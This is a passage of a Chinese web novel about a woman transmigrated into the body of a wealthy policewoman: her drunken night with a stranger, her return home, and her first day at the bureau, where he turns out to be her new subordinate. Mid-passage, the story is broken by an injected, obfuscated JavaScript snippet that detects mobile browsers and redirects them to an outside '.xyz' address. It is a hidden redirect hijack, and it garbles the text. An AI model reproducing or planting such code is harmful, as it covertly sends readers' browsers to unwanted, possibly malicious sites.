池千雪呆呆地脱口而出道:“你好帅啊。”像她老家蓝星香江上,早年电影巅峰时期荧幕里那些或正气或邪魅的小生,忘记了具体有谁,反正都是大高个好身材头发茂密五官立体眼神迷人气质多变! 帅哥笑了,笑容冲破立体五官带来的冷峻,像太阳冲破乌云,实在耀眼,他像是微醺,所以放松的同时反应也有些迟钝:“你,你也好看……我,我干了!” 刚上的威士忌不加冰就这样入了他的口,这个当真干不了,这下也是真的上头了,他转过身摇晃脑袋猛喘几口气,好不容易将体内火一般乱窜的灼热压下去,才敢转回身来。 池千雪眼神迷离,拖着腮帮呵呵笑:“你好可爱。” 他又呼了一口气平缓了心跳后,才道:“你也是。” 两人再次干杯,但默认都只喝一口:“为了相识!” 两人再再次干杯:“为了更好的明天!”已是有了胡言乱语的征兆。 酒保默默拿出二维码,决定接下来上一杯酒收一杯钱,吸取过往教训,誓要保护工钱。 …… 两人再N次干杯:“为了家人——” 这次池千雪喊一半停了,她哭唧唧道:“哼嗯…我没有家了,没有家人了,没有地方去了,怎么办呀…” 青年放下酒杯,甩了甩脑袋,极力想要安慰,最后挤出一句:“那我家给你住!” “恩?真的吗?” “真的!” “那我们回家!诶?谢谢你哦!” “不用谢,都是兄弟应该的……” 两人和这世上的醉男醉女没有什么不同,喝多就开始谈心,谈着谈着就勾肩搭背的共赴一乡(梦乡),真醉假醉都是一个样,调酒师摇了摇头,放下了原本打算。 片刻前他本想照往常一样说点什么,比如本店免费为高消费顾客提供安全送家服务,或者可以帮助联系家人朋友代驾等等,总之客人来他阿浮家,那必须喝得尽兴玩得开心走得安心醒来后不闹心! 他也是无奈,开酒吧嘛,很多人还是老思想,更有老家亲戚造谣他是拉皮条的,光线昏暗,酒精上头,音乐撩人,这是滋生暧昧的最佳场所,他也习惯了每天见证至少一段邂逅故事,最终走向哪里他管不了,但他可以努力试试不让事情变糟。 可他看着手机推送过来的热点视频,虽然只有背面或侧影,但发型穿着都和眼前人一致,何况酒保也说了她腰间别着证呢! 那他…应该…就不用担心这位警官会出什么事了吧?再者网上已经扒出来了,市长千金诶,不说古代的隐士暗卫那种的,起码现在门外肯定有司机保镖啥的守着呢。 而且另外那位刚坐下时,因为没几个客人,两人闲聊天时对方就说啦,他是个小警察,再小也是个警察,还能欺负同行啊?说来也是巧了,咋还同行相吸呢?他怎么就找不着个会调酒的妹子也谈谈心啥的…… 归于种种原因,一向乐于管管顾客闲事的调酒师Bob,在今天这一刻选择了偷个懒,并且后脚就将工作甩给酒保,乐颠颠出门右转到最热闹那一片,也找他的乐子去了~ 几人出来时,不约而同抬头望了一下天空。 绚丽多彩的霓虹灯漫天都是,前方不远的十字路口依然人流不息,或是来酒吧街,或是去夜市街,或是才要回家。 欲望驱使着城市永不断电,驱使着人类抛弃睡眠。 这是云都,这是欲望都市啊。 3. 脱胎换骨 夏日的太阳总是早起。 光线透过轻薄的窗帘,过滤一层后洒在床上人脸上,她像被阳光轻轻挠了痒痒,小小哼唧一下睁开了眼,又被亮光刺激地合了回去。 池千雪闭着眼睛往床头柜摸索,等摸到一个圆圆按键,顺手按下去的同时她开口细声细气道:“王姨,我醒啦……” 不对!她猛地睁开眼,看见手指下的床头灯按钮,怔怔然道:“对,我穿越了哦。” 这一连续的动作和话语声,即便很轻,仍是惊动了另一个人。 腰上搭着的手突然收紧,滚烫的肌肤贴上她光裸后背,有人在她耳边无意识地“嗯?”了一声,提醒迷迷糊糊的池千雪,她此刻并非一个人! 她惊恐地浑身僵住,突然感觉有什么抵住了她,呜呜呜,不会是刀吧! 大脑高速运转,回忆纷来沓至,无数片段在她脑中重演。 “…我没有家了…怎么办呀…” “那我家给你住!” “恩?真的吗?” “真的!” “那我们回家!诶?谢谢你哦!” “不用谢,都是兄弟应该的……” …… “到了,这就是我家。” “也是我家!” “对对,嗯……你亲我?好兄弟怎么能亲呢,你醉了!快睡。” “不嘛,嘿嘿,我很好奇呀……哇!恩,像,像什么呢?” “要命,你力气怎么这么大!别再往下了,你!会!后!悔!的!” “我才不呢,不试试我才后悔!咦,他怎么会变大?哈哈哈,我装的,其实我知道,小说有写的啦!嘘,你保密哦。” “嘶——你别动!你还没告诉我,你叫什么名字?” “我叫,我叫池千雪哦。” “你坐下解释下是哪几个字,好吗?” “就池千雪的池的千的雪啊。” “好好好,那你喜欢我吗?” “呵呵,我喜欢啊。” “好,我会负责的!” “啊,为什么?我自己会对自己负责呀!” …… 接着又说了些什么已经不记得,只知道天雷勾动地火,二人从青涩的探索发展到了旗鼓相当的较量。 最后最后的画面,是自己终于败下阵来求饶出声,是那个人俯身吻了下来…… 啊啊啊啊啊!!! 酒精果然害人不浅!一分色心变成十分大胆! 池千雪倒也不是后悔,她只会后悔不能及时尝试新的人生,万一她心脏是好了,却也被人杀了被车撞了呢?啊呸呸呸!不过现在此刻也会尴尬就是啦! 她低头,男人有着浅麦色的皮肤,长长胳膊搭在她白的腰上,另一条胳膊则给她当了枕头。 太紧密了,像交缠的两根藤蔓。 她只能轻轻的轻轻的,小心再小心挪开了那条有力胳膊,庆幸新身体力气也不小,成功半起身后,看他将头埋在枕头里睡得正香,这才小心翼翼蠕动着下了床。 “嘶……”池千雪很快忍住,打架一晚上的后果出来了,忍着酸疼不适,她龇牙咧嘴做贼一般穿回背心牛仔裤。 幸好男人没有像很多小说写的一样,啃得她全身都是吻痕捏得哪哪都是青紫,好像男人都跟狗似的爱啃,女人都跟泥一样容易留印,不然这背心遮不住她连门都出不了。 明明也这么写过甚至更夸张的扑街写手·池,理直气壮这样想后,将袜子往口袋随便一塞踮着脚提着鞋出了卧室,再掏出手机一看。 !!! 六点多了!换成往常,原主这会已经完成运动,洗个战斗澡后用餐到一半,并且八点前就能杀进单位开始用功。 不,等下等下——她急什么?她对自己又没有那么多要求的呀! 正常来说,以她的职位九点前到都可以,那她就按正常的来嘛! 刚这样决定完,她就想起一件事儿,她今天…似乎…要办一件大案!西门牧师连环杀人案! 内心呜呼一声,池千雪冲出了这栋公寓楼,没有留下任何联系方式,在一路环卫大爷阿姨们的注视下,飞速跑到了酒吧街街头,开着车呼啸而去,也算变相完成了今日份的运动任务了吧。 . 中心城区。 云泽山庄,一颗嵌在钢筋丛林中的美丽明珠。 这里的住户甚至不能用非富即贵来形容,光有钱或者光有权的人家,连看房买房的资格都不会有。 白色德系名车开进云泽的大门时,肌肉发达眼神犀利的安保人员提前动作迅速放行,根本不给车主一种“还要等着别人查看同意才能进门回家”的不良感受。 新带的青瓜徒弟感到疑惑:“哥,这是谁家采购?我们那么早就接班了,明明没看到这车出去过,总不会在外面过夜才回来吧?那多不合适。” 老大哥敲了他一下:“就不能是主人家吗?说是保姆采购代步车,你以为车就成保姆采购的啦?业主愿意开哪辆就开哪辆,叫你做的笔记呢?车牌这些背了没有?给我上点心!总之你可千万别以貌取人,对谁都要尊敬就对聊。” 话说完才没多久,徒弟就点头哈腰着放行了一辆真·采购车,这次被敲了两下,他捂着头不服:“这还不够尊敬?那我还做不做人啦!” “我就是教你做人,不卑不亢的明白不?这里的住户不缺狗,也不喜欢咱当狗,好好做事多多拿钱就对聊!哼,要不是咱俩关系七弯八拐的,你都进不来,小子运气好,有我带着,不像我当初……” 诺大的山庄,一角有人大吐苦水,一角有人差点流泪。 紧张,非常紧张。 经过美丽湖畔,感受绿野清风,看着远处小山,闻着花木果香,一路无数风景,都不能舒缓池千雪的心慌。 如果被发现了怎么办? 这个问题一旦冒出来就再也压不回去。 池千雪想到自己被抓走,放血抽筋扒皮切片,连灵魂都被仪器罩住四分五裂,只觉得后悔极了。 她到底为什么还要赶回来啊?找个商场买买买去酒店换洗不行吗?好歹想好对策,怎么就直接奔回原主家里了! 她就这样顶着一头乱麻拐进了云泽九号,穿过自动开启的双开镂空拱形大铁门,停下和自家安保亭的彪叔打了个招呼后,慢慢行驶在一片姹紫嫣红的花海中。 不论如何犹豫,还是在不久后到达了地下车库,将车停好,目光扫过几排五颜六色的豪车,她无心停留豁出去般反而加快脚步,从离她最近的这面电梯上楼,门开跨出去,这便进到了主楼东侧庭院。 玫瑰花丛中间的园丁诧异抬头,见到是她立刻站直:“小姐早上好!”麦色的面庞上露出两排大白牙,脸上皱纹变得更明显,他很是热情地挥了挥拿着剪刀的手。 池千雪不由自主笑了起来,也是露出牙齿放出梨涡,眉眼弯弯声音脆甜地回到:“丁师傅,您也早啊!” 这饱满热情的一嗓子,倒是将丁园丁整懵了,小姐今日有些不同啊……怎么说呢?他低头,像这火红玫瑰,他仰头,不,更像充满朝气的太阳。 踩着小径,池千雪到了白色主楼正面,进入敞开的大门,清雅高阔兰香浮动的主厅此时空无一人,这很正常,除了宴会外,原主家因为人少基本用不到这里。 她大步走过主厅一个拐弯,小餐厅内正坐着一个人,那人穿着衬衫拿着报纸,报纸上方露出的头发茂密浓黑有条有理。 只能是池千雪的父亲,云都的市长池达,外人眼中,只要他想,翻手可为云覆手便为雨。 不过即便是神,到了凡间也得吃饭。 这位父亲此刻抖了抖报纸放到一旁,满意看完头条有关他颁布政令的正面报道后,他食欲大开,拿起了筷子,眼皮一抬看见了头发凌乱衣着随意的女儿,等人走近,衣物上残余的酒味也飘了过来。 他先是挥手示意角落的佣人出去,接着皱起眉头问:“怎么回事?交新朋友了?” 女儿若有交际应酬都会先告诉自己,且多晚都会回家,像这样彻夜不归衣冠不整的,该不会交了什么乱七八糟的朋友吧? 面对这双威严中带着关心的眼睛,池千雪下意识垂眸避开,不由地想起手机里那些图片视频,她压下不舒服,学着原主的声调,平直地回答道:“恩,昨晚有个案子,结束后和同事聚餐,晚了就在酒店休息了。” 池父显然不知道这事,他其实也是刚到家没多久:“恩,不过也要把握好人际关系中的分寸,你毕竟是上司,应该先走的时候就先离开,注意好个人形象,恩?坐下吃早饭吧,工作方面怎么样?有困难就和爸爸说,最近什么案子?” 池千雪担心被看出来就是因为这个了。 池父日常工作很忙,晚上也多有“安排”,所以习惯利用吃饭时间,在餐桌上和女儿见面交流,她无法像原主一样一板一眼地报告她的工作生活日常,并听取父亲的安排也好教育也罢,短短一夜,她更是来不及改掉自己一些口音和习惯的语气助词。 “一切都挺好的,已经吃过早餐。”她心里虚,也没有把握在这样有城府的大人面前伪装或撒谎,于是紧接着便道,“爸爸,今日有事,我需要抓紧时间,我先回房了!” 爸爸两个字,真喊出来也就喊出来了,没有感情,称呼就只是称呼。 短短来回,池父还不至于因此生出什么怀疑,他点点头:“好的,注意安全,遇到问题就打电话给你曾叔。”曾叔是池父的重要臂膀。 “好的爸爸。” 池千雪走出餐厅,总算放松了一些后,蹬蹬蹬进了电梯上到专属于池千雪的三楼,电梯口,张管家等她的主人回来,已是等了很久。 . 张管家60左右年纪,圆脸细眉个子中等,看着很是亲和,她此刻除了等待有可能回来的小姐,另外也在安排女佣们做每日一次的清理,池千雪一出电梯就看她迎了过来,笑里带着放松,张管家也确实是松了一口气。 平日里小姐几乎不在外面过夜,虽然昨晚出发前说了是去工作,但忙到整夜不归,张管家就忍不住担心起来,如今看到人好好回来了,松口气的同时心疼道:“小姐,忙了一夜还是休息过了?还没吃早餐吧?” 池千雪下意识点头乖乖回答:“休息过啦,张姨,我饿啦!”语气里有点撒娇的意味,张管家顿时愣在原地,竟有些不知所措起来。 因为张管家给池千雪的感觉,和前世照顾她多年的王姨太像了,她不自觉放松下就有了刚刚那一幕,此刻见人愣住,她心里顿时一惊,哎呀,原主不是这样的! 可是怎么办?池父都还好说,面对和原主最亲相处最多的张管家,她不可能永远伪装呀…… 她正要想个说辞,就见张管家抓住她的手:“小姐好久没有这样过了,我真是好想念,好开心!”接着她扬起声调喊小周,“快去厨房安排,比照平常多准备两样,算了,我亲自去。” 张管家喜滋滋地握着池千雪的手晃了两下,眼睛里的宠溺都要溢出来了,哄小孩一样道:“小姐先去洗漱?我这就去安排,很快回来的哦!” 等人走开了,池千雪总算回想起来,“这样”是哪样。 自这个家的女主人去世后,因为池父的教育,原主渐渐不再对张管家撒娇,也不喊她张姨,有什么需要都是客客气气,固然很尊重人,却也无形中拉远了和张管家的距离。 那么这关,便算是过了,池千雪迈步往里,有了心情打量四周。 整个三楼可以比作一套大平层。 电梯出来是一道玄关,整体色调明亮,错落摆着观赏鱼和绿植鲜花,走过这里,便是客厅兼带小酒吧,器械专业种类颇多的健身房,每日都会用到满是书籍的书房,还有一间从客厅延伸搭建出去的小花厅,最深处才是主卧、衣帽间、卫生间等。 不夸张的说,每一间大小都能抵上一间普通公寓了。 从主卧阳台出去更有一个惊喜,一座空中泳池就悬空在这三楼,一脚跨出去就能入水,仰看天空,俯看花圃,平看四面植被园林,和远处其他人家从绿色中探出的一角。 虽然前世她的家也未必差在哪,可风景再美设施再全,当时的自己拖着病体,根本不能享受,池千雪当即决定,再回家时,她第一个要融合的就是原主的游泳技术! 她当然没有真的在这样的要紧关头逛了一遍,只是扫视一圈后又在淋浴时,于脑海中仔细复盘了一下,她需要将原主的记忆融合到本能一般,才可以避免每次遇事调动不及。 等痛快洗去初夜的不适,她神清气爽地裹着备好的浴袍出来,张管家正好带着两个年轻女佣敲了敲敞开的卧室门,几人将餐车推了进来,张管家满脸慈祥地看着她道: “知道小姐赶时间,我就让厨房简单做了一些,您每样都尝尝。” 有蟹黄汤包、透明虾饺、炖白燕盏、煎蛋油条白粥等中式早点,又有自选沙拉拼盘——菜肉坚果谷物水果各有两种以上选择,边上还摆着可颂贝果三文治等等不少西式面包......再配上几样果汁豆浆咖啡甜点酱料,几乎就是个小型自助餐了。 这还简单啊?这简直奢侈!即便是同样出身富贵的池千雪本人,也觉得这样一顿早餐,是对人力物力财力的一种极大的浪费。 虽然按照记忆,她剩下的没碰过的会被佣人吃掉——可为什么佣人就要解决她产生的”厨余垃圾”呢? 然后才是被倒掉——物业声称会“环保”处理,可这大概也只是给有钱人的浪费,遮了一块令他们心安理得的遮羞布而已。 “张姨,以后每天只排一个种类两到三样就好啦。” 张管家便从善如流地点点头,小姐怎么说怎么办就是了,小姐怎么都是对的! 头发被张管家温柔包好,好让她先吃早餐,池千雪则眼冒星星,小小尝试了一下原主爱吃而自己从前不敢吃的辣椒酱后,雀跃地给所有咸口食物都抹上辣椒酱,嗯嗯嗯,头皮都要爽麻掉,怎么能这么好吃! 嘶哈嘶哈,美美吃到一半,池千雪总算放缓速度,这会才有心回答张管家关心的念叨,其实人家也刚好才开口。 “警察局的工作多辛苦啊,要四处跑吧?” 池千雪:其实也没有,她基本都坐办公室。 “是不是常常要和恶人作斗争啊?要加多小心啊。” 池千雪:目前没抓过或审讯过任何犯人,哦,昨晚下了个令逮捕牧师,算不算?等等,张姨信佛信道还是信上帝来着? 她这样想便这样问了,张管家一点也没觉得自家小姐思维太跳跃:“我只信小姐,小姐这么聪明这么善良,可以回答我所有疑惑,所以呀,我只信小姐哦!呀,怎么快要哭了!发生了什么事?” 她毕竟了解几乎是被自己带着长大的这个孩子,所以根本不觉得是自己说错话做错事,也并不诚惶诚恐,只是发自内心地着急心疼。 池千雪摇了摇头,立刻将泪意止住:“我想妈妈了。”其实是想念王姨了。 张管家便笑,笑着笑着也开始眼带泪花:“夫人在另一个世界,一定过得很好,同时也保佑着咱们小姐健健康康快快乐乐的!” 对话很快结束,毕竟要赶时间,吃完漱口又吹干头发后,她从主卧推门走向了衣帽间。 一个时尚王国出现在了她的眼前。 踩上洁白柔软的厚毛地毯,她走过家居区、时装区、休闲区、礼服区等,每个区还有各自对应的配饰区,再到尽头旋转鞋架和包包架处,回转一圈,入口边上还另外开辟了一间小化妆室,一直被主人冷落着。 池千雪只觉眼花缭乱,前世因为身体原因,没有人包括她自己会在外貌形象方面花心思,但她是个年轻女孩啊,怎么会不喜欢不想要! 池千雪快乐得几乎要转圈圈! 真心感谢原主的亲亲舅妈,这些可不是池父和她本人安排的,而是那位哪怕搬离云都也不忘按季给她置办服装的舅妈! 当然如果她想自己安排也是很方便的,张管家那堆了无数时尚顾问或时装高定工作室的电话,还有哪怕她从来不去,但从不缺席的各类品牌邀请函等。 记忆中的池千雪为了低调行事,开的是厨房原来的采购车,穿的是休闲区最普通的品牌,全身上下没有任何装饰,一双裤兜装天下,若是不幸碰到了假裤兜(女装就爱这么干),才会背上包包,还是个单色帆布包。 原主拼命的努力的想要消除家世背景带给她的印迹,意图融入进其实比普通人要优越些,但在她眼里都是很穷的警察行业里,已经到了过犹不及的程度。 不光在外表,她知道,若是去书房,她将看到许多刑侦资料罪案书籍犯罪心理学等一切相关知识,一年中她唯一会飞国外的原因,也是为了参加各种大师讲座,原主是真的很优秀,博学能打谦逊努力。 而她……一用脑就有些迟滞卡顿的池千雪叹息道:“有记忆又如何,我大概得重学一遍才能用上,天下果然没有白给的好处。” 但有一件,是她此刻就能做到的,那就是不论底气足不足,气势要足,Vibe(腔调)要够,美丽无罪,遮挡也是犯罪! 池千雪快速挑选出装备,张管家和两个女佣则自觉退出——原身的习惯,正和她意啦。 她换上一件小众设计师设计的不规则白衬衫,领口敞开露出精致锁骨,腿上一条剪裁完美的黑色西裤,一双黑色红底细高跟,再搭配金色系小耳圈锁骨链和一只简约手表。 观察自己一会后,她将吹干后天生自来卷的长发披了下来,浓密眉毛简单一修只带了几笔眉尾,浅浅刷了下本就卷翘浓密的睫毛。 遗传自外婆的混血五官本就立体,所以鼻影高光通通不需要,只是简单轻薄的粉底和定妆就足够,再涂上偏正红但不是的唇彩,带上小框方形茶色太阳镜,正好和棕发呼应到。 ——对了,戴墨镜倒也不单纯为了装酷,而是浅色眼睛没有黑色抗晒,属于生理需要了,幸好这一世同样没有混到什么狐臭多毛易长斑的基因,中式基因达到了压倒性的胜利,池千雪默默庆幸。 最后她看向全身镜,满意一笑。 那个唇色发白手指杵状甲床发紫胸前一条蜈蚣伤疤却依然病重的病人。 那个永远虚弱瘦小驼着一点背的,走快几步就气喘,睡觉必须戴氧气设备的弱者。 那个从来没在人前化妆打扮更别提穿高跟鞋出门去的,人生看不见一点希望,心中满是渴望却从未实现过的,那个也叫做池千雪的女孩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738987|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着笑着眼睛就湿了。 她吸吸鼻子忍住,压下翻涌的情绪,清了清嗓子,适应一会高跟鞋后,提上H牌的焦糖色通勤大包,拿出将军上阵一般的架势走出了衣帽间。 在张管家连同女佣们惊讶的目光和赞叹下,走出了六亲不认(也没有)的酷酷步伐,进了电梯到了地下车库,选了一辆全球限量的兰博基尼Veneno红色超跑。 上了车,有条有理完成了所有驾驶流程后,准备选歌。 世界没有音乐,是万万不行的,本想按照前世习惯选一首古典乐《天鹅之歌》,转念一想,为什么还要听古典乐呢?她已经有别的选择了啊。 她刷着手机,飞快翻找着什么,找到了!这个世界也有凤凰传奇啊! 一个健康心脏的一生,怎么能不听一首凤凰传奇呢! 音乐响起,跑车如一道红色闪电,极速飞出云泽山庄,消失在了目瞪口呆根本来不及尝试下不卑不亢的新保安的视线之中。 太,太酷聊! . 云都市公安局东城分局。 跑车再厉害,门卫亭前也得等。 池千雪没能酷飒出场,因为她得先老实下车,好好向退休再就业的前经侦队长,现任看门大爷王大爷证明——她确实是那个来了没多久的刑侦支队副队长池千雪。 门卫室里。 王大爷其实知道这人是谁,任她怎样三十六变,也躲不过王大爷天生加后天培养出的一双利眼,但他不管这个,而是一手往后背,一手指向地面,说一句点一点的: “你这车牌没登记过,就算你有工作证,按理我也不能让你停,何况你还忘带了,这么重要的东西你也不应该忘记……” 池千雪垂着头红着脸,拿下太阳镜两手规规矩矩放身前,站着不敢动,根本不敢动。 王大爷本来见人这么张扬应该是个刺头,这才忍不住逮着训,这下一看,哎哟,根本说不下去: “咳,这样,你今天去后勤办公室那将停车证办下来不变了,那我就同意你进,完了你下班出来的时候得把证给我看喽。” 不然你们这些富二代官三代的,按照心情动不动换辆车来上班,不是凭白给他增加工作量? 池千雪使劲点头,人家说的对就得听的嘛! 王大爷大发慈悲一挥手:“去吧,好好工作。”他下意识顺口这么一说。 “我会努力工作的!” 池千雪立正行礼声音清脆中气十足,直接将王大爷惊愣了好几秒,看着对方开车进门左转停好,再下车时又是张扬——或者说是生机勃勃的,忍不住挠挠秃了的脑门。 他都多久没见到年轻人这样行事了,一个个不是跟他皮,就是躲着他走,这位之前就是后者。 要论级别,人家可不比自己低多少,王大爷背着手,摇头笑了。 正是上班前一会的时间,分局大院出入口这片人来人往,不少人都旁观了刚刚那一幕,只是看半天也不知道这位开着超跑的美女到底是谁,更不知道该多看看美女好还是看看梦中情车那辆兰博基尼好。 人群中的江望则瞪大了火眼金睛,都快看冒烟了,这才发出一声疑问:“这位大美女,好像是我的那个长官诶……”说完他给了自己一巴掌,“大白天的出幻觉了?” 靠,疼疼疼!他捂着脸,猥琐地躲在人群后面,跟着那道身影,进了大厅又跟到二楼。 池千雪早已重建自信,停好车后换回来的高跟鞋哒哒哒敲打在大理石地面上,像是打在所有人心间。 青涩的年轻人只要对上那双眼睛,就红了脸碰到人嗑到墙撞到柱,谁让那双眼满是笑意,那双红唇见人就笑,时不时还飞一个招呼:“早上好呀!” 活力满满热情四射,众人不禁要问:“这位美女到底是何方神圣?看她分明轻车熟路目标明确,可为何他们从未见过???” 江望目瞪口呆地看着她走进那间熟悉的办公室后,简直惊掉了下巴,他一个飞奔冲向二队办公室:“我去我去我去!我跟你们说吼——” “你去哪啊?说来听听。” 靠门第一个工位前,警装笔挺的沈确微笑着看向江望,双手背到身后,做出认真倾听的样子,后面二队其他人个个装忙。 收得太急差点咬到舌头,江望结结巴巴的:“沈局!我我我去上厕所呢,急,对我是说我很急,都别跟我抢吼,呵呵,呵呵呵……” 妈呀,那位是长官没错,但那位是副的,这位可是正牌老大了!咦,边上那位仁兄是? 他这么想,也这么问,沈确不急不忙反问:“你,不着急了?” “啊,啊啊啊,急怎么不急,这不是别怠慢了沈局您带来的客人嘛,是哪个兄弟单位的?真高,真帅!”江望发自内心道,他本来也计划长这样的,可惜计划没赶上变化。 “我正要介绍,这位——姜不招,从首都来,有着非常丰富的刑侦经验,曾主导和协助破获首都多起大案要案,更参与过全国乃至全球联动的特别行动,即日起就任我们云都东城分局刑侦支队二队队长,大家欢迎!” 若单以能力不论年纪来看,又是从首都下来的,沈确知道职位有些低了,幸好这位姜警官仍然坚持调动到云都,这才让他们东城分局捡到漏,他笑眯眯让到一边,请主角登场。 身着全套警礼服的姜不招身姿挺拔,长腿一迈出列,双方相互敬礼后,他露齿一笑,瞬间打破了英俊到极致从而显得冷峻的气质:“以后大家就是战友了,我们互相学习共同进步!” 他的咬字很清晰,普通话很标准,嗓音也很干脆,是让人一听就心生好感的那种。 “是的队长,好的队长!欢迎队长!”江望兴奋领头喊出第一句,队员们很是给力纷纷跟上。 沈确满意地抬手点了点江望,也不提厕所那茬了,在热烈的啪啪掌声后,沈确示意姜不招:“我带你去见主管你们二队的长官。” 本该先见池千雪的,再由池队带着队员一起欢迎,奈何向来早到的她今日竟是晚了些,新人报到得早,他该谈的都谈了,总不能将那么好个人才单晾在那。 两人出门往里到了同侧下一间办公室,敲了敲半开着的门,里面有女声清脆道:“请进。” 姜不招动了动耳朵,并且很轻地调整了一下身姿。 刚整理好桌面的池千雪,正准备写个今日工作计划给自己壮壮胆呢,一听见敲门,立刻整理好情绪,牵起两边嘴角起身等着,她没上过班,也不知道反应对不对好不好,至于前世写的那些小说怎么回事?瞎编的呗,反正又没几个人看…… 池千雪看着门被大打开。 日常在三楼办公的刑侦支队队长沈确走了进来,很是直截了当介绍起身后的新人: “早上好啊池处,我带你们二队队长报到。”他转头招呼,“进来吧。” 一个挺拔颀长的身影出现在池千雪面前,一夜/欢愉早上还赤/裸交缠的两人,就这般猝不及防地重逢了。 也可能只是池千雪单方面的猝不及防。 姜不招没事人般镇定大步向前,行警礼并朗声道:“报告池长官,姜不招向您报到!” 池千雪:他一个即将担任刑侦分队长且必然参与案件审讯的人,竟然叫做“不招”…… 不是,重点先后是否搞错了?也不是,为什么她不知道有新人报到?又好像有,有吗?vbg&jd*chfd已乱码! 池千雪赶紧回神,端端正正回礼后,在沈确的旁观见证下,和谐的愉快的正常的完成了一次上司下属初见的对话流程。 “欢迎姜队长,如今二队终于完整了。”微笑伸手。 “能和大家一起共事,是我的荣幸。”伸手握住。 “合作愉快。”交握的手晃了晃。 “合作愉快。”手松开,各归各位。 事毕,两人转身往外走,沈确特意落后一步,转头轻声道:“我看姜队长性子不错沉稳大气,你,哎,不懂的就私下问问他。” 池千雪脸爆红,沈确又扎一刀:“昨夜你上的热搜让家里撤掉压下去的?”他皱眉一秒继续,“也好,警队公关部资源毕竟有限。” 池千雪变成茫然,什么热搜?什么撤热搜??能不能说清楚到底发生什么了啦??? 沈确无情继续道:“你下令逮捕西门牧师的事情,一大早就有好几个高层打电话过问,你现在不用解释,九点半二队开会,到时再商讨。” 他点点手腕上的表,说完要说的转身就走,并将办公室的门恢复成和进来时几乎一样的位置…… 池千雪浑身一软陷进办公椅中,仰天长叹一声:“老天你看看,这桩桩件件的都什么事儿啊!!!” 老天乘胜追击,“笃笃”相当敷衍的两下敲门声后,刚刚离开的姜不招进来了,他面不改色,将一个东西放到桌上推过去,双目定定看向池千雪,开口道: “池长官,这是今早您于慌乱逃走间落下的警官证。” “物归原主的同时,想告诉池长官。” “我姜不招,说话算话。” “一定对您负责到底!” 他的脸泛红,眼神很专注,语气很认真。 并非游刃有余,却字字戳在人心。 4. 调查取证 “说下目前掌握的情况。” 二楼小会议室内,沈确手指敲击桌面,示意会议正式开始。 姜不招才来,曹空城便主动站起身,清了清嗓子正要开口。 吱-呀——门缓缓被打开。 像是金属链条生锈后强行运转的声音,吸引所有人看了过去,试图悄悄摸进来蹭会开的代福音羞赧不已,并在心中将这道罪魁祸首·门举起来,捶打摔砸成无数粉末末。 池千雪救了僵在门口的代福音,虽然她自己也是好紧张哦:“福音,进来呀,快坐。” “好的。”一身夏季警服的代福音埋着头蹬蹬蹬坐去了桌尾。 气氛有点干(其他人:并不),随着一道视线停在池千雪身上,她不自在地调整了一下坐姿后开口,笑得也很干:“呵呵,门该修啦,我等会就找人……啊,曹叔,开始吧开始吧。”曹空城一直等着呢。 “咳,各位领导同事,是这样,8月17日晚,也就是昨天,福田街即酒吧街的西街后巷,有人发现一具女尸……” “经查:死者叫陈惠,三川省人,目前还未能联系到其家属,陈惠在嘉年华及周边夜场中对外的艺名都叫Lucy,据说为人大气出手也大方,关系好的几乎都向她借过钱,但金额一般不大她也几乎不催,所以这一点还不足以构成欠债人的杀人动机。” “另外她没有情感伴侣,人际关系网简单,一直独自居住在最近的城中村里,和客人也多是你情我愿的交易,这点有她几个常来往的同行可以作证,是以男女纠纷导致激愤杀人的可能性也不大。” “经调查取证,可知福田西街后巷就是第一案发现场,诸位可以看看桌上法医和痕检科出具的材料。” “本来遇到这种缺乏物证人证的,是准备要走访死者住所附近,以及将她活动区域辐射出的周边监控,和在云都在老家等关系网全部过一遍的,不过池长官那边另外有了人证,嫌疑人也已请到局里,接下来的工作安排,就要请长官示下了。” 曹空城个子中等偏瘦稍稍有点驼背——应该是体态的问题,和胖没有半点关系,可笑起来时却神似个弥勒佛,说完最后这句,他笑眯眯看了看几位领导,然后从容坐下。 会议室里沉默了一会,池千雪垂着眸,下意识摸了摸后脖子,姜不招无意间扫到她这个典型的逃避动作,不由愣了一下,身旁沈确此时开口了: “我参会的目的,就是想了解下大概是个什么案子,你们又为什么那么笃定,会连夜将看起来毫无相干的西门牧师‘请来做客’。” “要知道他仍是外籍又涉及宗教,事态敏感必须谨慎,既然是因为池队有人证,那就让人证过来先确认证词,要知道普通人对外国人是很容易脸盲的,程序没问题后再开具搜查令吧。” 啊哦。 池千雪坐直了身体,急速头脑风暴,可惜并没能爆出有效装备,她近乎磕磕巴巴地回答:“他,那个线人,嗯,不大方便出面……” 她说话的时候,眼睛向右上方看了,姜不招没有错过这一细节。 沈确皱眉看池千雪,正要发问,姜不招先开口了:“是混道上的?这些人确实不方便,对日后继续提供线报和人身安全都有影响,非要喊过来,甚至会改口供。” 他请示池千雪:“但事情已经这样,就必须进行下去,我申请搜查这位牧师的私人住所及其办公场所,还请池长官尽快批准,作为我上任的第一个案件,即便有所不妥,相信各方也会予以一定理解的。” 池千雪终于正视姜不招,对方神情自然地冲她点了一点下巴,她便也放松了下来:“好的。”紧跟着她又补充一句:“如果有问题,我会负责!” 万一真是自己出了幻觉,届时没能搜出物证的话,写报告降级停职,她都接受。 沈确闻言道:“那行,你们工作吧,有需要有问题随时找我。” 他直管的一队是出了名的工作狂,他自然也相当忙碌,是以说完他便起身出门,这就是沈确的风格了,对内不打官腔行事利索,对外该圆滑圆滑该强势强势,是很不错的领导。 会议室里,曹空城专心喝茶吐茶梗,江望双手插裤兜望天望地,步青云盯着桌上资料还在看,代福音捧着笔记本挡住半张脸,镜片后眼珠子滴溜溜转,都在等待那个结果。 哪个结果? 到底谁说了算的结果。 姜队长战绩显赫,但他刚来,背景也未知。 池长官还是新手,但她级别高背景硬,来的也早一些,早几天也是早嘛。 一个团队想要合作,就不能有两个说了算的声音,只要有,就必定会有意见相左矛盾丛生的一天,除非两人属于天生搭档心有灵犀,他们听谁的都一样。 但这可能吗?不可能的。 “你——” “你——” 